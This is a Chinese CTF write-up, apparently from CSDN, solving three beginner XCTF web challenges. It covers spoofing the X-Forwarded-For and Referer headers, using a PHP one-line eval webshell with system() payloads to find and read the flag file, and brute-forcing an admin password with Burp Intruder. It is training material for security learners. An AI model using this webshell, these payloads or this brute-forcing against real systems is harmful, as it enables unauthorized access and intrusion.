CTF做题小记



1.XCTFWeb新手区xff_referer



\leftarrow \rightarrow C $rac{a}{b}$	0 🔒 1	11.200.241.244:57737		騾 ☆	\mathbf{F}	hir.	• .
🗅 火狐官方站点 💊 新手上路	□常用网址 ⊕ 京东商場	🏭 🕞 答题	b 🧶 风车动漫官网-风车动				_ []移

ip地址必须为123.123.123.123

CSDN @2**9b

根据题目描述先了解XFF和Referer。

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求 头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在Forwarded-For HTTP头字段标准化草案中 正式提出。

当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用 代理服务器来接入互联网。有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。

如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址),这样的代理服务器实际上充当了匿名服务提供者的角色,如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此,XFF的有效使用应该保证代理服务器是可信的,比如可以通过建立可信服务器白名单的方式。

CSDN @2**9b

转载时必须以链接形式注明原始出处 及本声明。 Referer 是 HTTP 请求 header 的一部分,当浏览器(或者模 拟浏览器行为)向 web 服务器发送请 求的时候,头信息里有包含 Referer

CSDN @2**9b

再看到题目中的"ip地址必须为123.123.123.123"我们可以想到用BP抓包修改IP地址。

在请求中加入

X-Forwarded-For:123.123.123.123

注: 要加在Connection: close之前

Request	Response
<pre>Pretty Raw Hex \n = 1 GET / HTTP/1.1 2 Host: 111.200.241.244:49606 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/ avif,image/webp,*/*;q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Bncoding: gzip, deflate 7 X-Forwarded=For:123.123.123.123 8 Connection: close 9 Upgrade=Insecure=Requests: 1 10 Cache=Control: max=age=0 11 12</pre>	<pre>Pretty Raw Hex Render \n</pre>

发现得到了一句话:

```
<script>document.getElementById("demo").innerHTML=
"必须来自https://www.google.com";</script></body>
</html>
```

这时就要用上Referer伪造了。 再次添加

Referer:https://www.google.com

后发送即可得到flag。



2.XCTFWeb新手区webshell

「 Webshell 153 最佳Writeup由话求・DengZ提供	
难度系数: ◆★★2.0	
题目来源: Cyberpeace-n3k0	
题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。	
题目场景: 💶 http://111.200.241.244:65501	
圖除场景 倒计时:03:59:25 延时	
题目附件: 暂无	CSDN @2**9b

℃ ▲ 不安全 | 111.200.241.244:52092

你会使用webshell吗? <?php @eval(\$_POST['shell']);?>

CSDN @2**9b

ে 🗘 🖆 🕅

题目直接提示使用一句话木马。 打开HackBar,装载URL,使用POST传参,POST参数输入:

shell=system('find / -name flag*');

点击Execute。

Load URL	http://111.200.241.244:55624/
🗶 Split URL	
Execute	Post data Referer User Agent Cookies Add Header Clear All
	shell=system('find / -name flag*'); CSDN @2**9b

你会使用webshell吗?

/var/www/html/flag.txt <?php @eval(\$_POST['shell']);?>

CSDN @2**9b

看到了flag.txt,再把POST传入的参数改为

shell=system('cat /var/www/html/flag.txt');



你会使用webshell吗?

cyberpeace{0c7d36dbb90052190ee11d2bc5bce533}<?php @eval(\$_POST['shell']);?>

CSDN @2**9b

2.XCTFWeb新手区weak_auth

F weak_auth 161 最佳Writeup由小太阳的温暖提供	
难度系数: • ★ 1.0	
题目来源: Cyberpeace-n3k0	
题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。	
题目场景: http://111.200.241.244:58790	
题目附件:暂无	
	CSDN @2**9b

Login
username
password
login
reset

CSDN @2**9b

先随便输入一个账号密码登录试试。

Login	
111	
•••	
	-
logir	1
rese	t

CSDN @2**9b



000N @0**0h

网页提示让我们使用"admin"登录。现在是已知账号但还不知道密码。直接用BP抓包,并在Action中点send to Intruder。

Pretty Raw Hex \n =	
<pre>1 POST /check.php HTTP/.1 2 Host: 111.200.241.244:58790 3 Content-Length: 27 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://111.200.241.244:58790 7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97. 9 Accept: text/html,application/xhml+xml,application/xml;q=0.9, image/webp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9 10 Referer: http://111.200.241.244:58790/ 11 Accept-Encoding: gzip, deflate</pre>	0. 1072. 62
12 Accept -Language: zh-CN, zh; q=0. 9, en; q=0. 8, en-GB; q=0. 7, en-US; q=0. 6 13 Connection: close	
14 15 username=admin&password=111	
	CCDN @2**05
	03DN @2 · · 90
住INTUDEF中打开POSITIONS乔国。 たまた例始後は、2007更は中家辺上本後4月07	
先点击石侧的"Cleary",再选中密码点击"Addy"。	
· · · ·	
Payload Positions	Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.	
Attack type: Sniper	×
1 POST /check.php HTTP/1.1 2 Host: 111.200.241.244:58790	Add §
3 Content-Length: 27 4 Cache-Control: max-age=0	Clear 9
5 Upgrade-Insecure-Requests: 1 6 Origin: http://111.200.241.244:58790	Refresh
7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36	
Edg/97.0.1072.62 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9	
10 Referer: http://111.200.241.244:58790/ 11 Accept-Encoding: gzip, deflate	
12 Accept-Language: zh-CN, zh; q=0. 9, en; q=0. 8, en-GB; q=0. 7, en-US; q=0. 6 13 Connection: close	
14 15 username=admin@password= § 111 §	
	CSDN @2**9b
再转到Payloads页面,load加载自己的字典即可开始爆破。	
没有字典的可以下载一个CTF常见字典。	
Target Positions Payloads Resource Pool Options	
Payload Sets	Start attack
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and e	ach payload type can
be customized in different ways.	
Payload set: 1 Payload count: 6,949	
rujiou ype. Simple ist	
Payload Options [Simple list]	
This payload type lets you configure a simple list of strings that are used as payloads.	
Paste 1@#\$%	
Load 1@#\$%^&	
Remove I@#\$%^&* Iroot	
Clear \$SRV Secure \$	
*3noguru @#\$%^&	
Add	

Add from list	<u> </u>	
<u></u>		CSDN @2**9b

?	Payload Sets	Start attack
	You can define one or more payload sets. The number of payload se be customized in different ways.	ts depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can
	Payload set: 1	
	Pavload type: Simple list V Request count: 100 Add from list	
	Fuzzing - quick	
\bigcirc	Fuzzing - full	
\odot	Usernames	
	Passwords	ised as payloads.
	Short words	
	a-z	
	A-Z	f
	0-9	1
	Directories - short	
	Directories - long	F
	Filenames - short	
	Filenames - long	1
	Extensions - short	
	Extensions - long	
	Add from list 🗸	
		CSDN @2**9b

最后找到返回值与其他不同的一项就是正确密码。

Request 🔿	Payload	Status	Error	Timeout	Length	Comment	
0		200			434		
1	123456	200			437		
2	password	200			434		
3	line	200			434		
4	12345678	200			434		
5	qwerty	200			434		
6	123456789	200			434		
7	12345	200			434		
8	1234	200			434		
9	111111	200			434		
10	1234567	200			434		
11	dragon	200			434		
12	123123	200			434		
13	hasehall	200			131		

· · · ·

返回题目,修改正确密码即可得到flag。

cyberpeace{e9411b38970d8ba090e5355075ed59d3}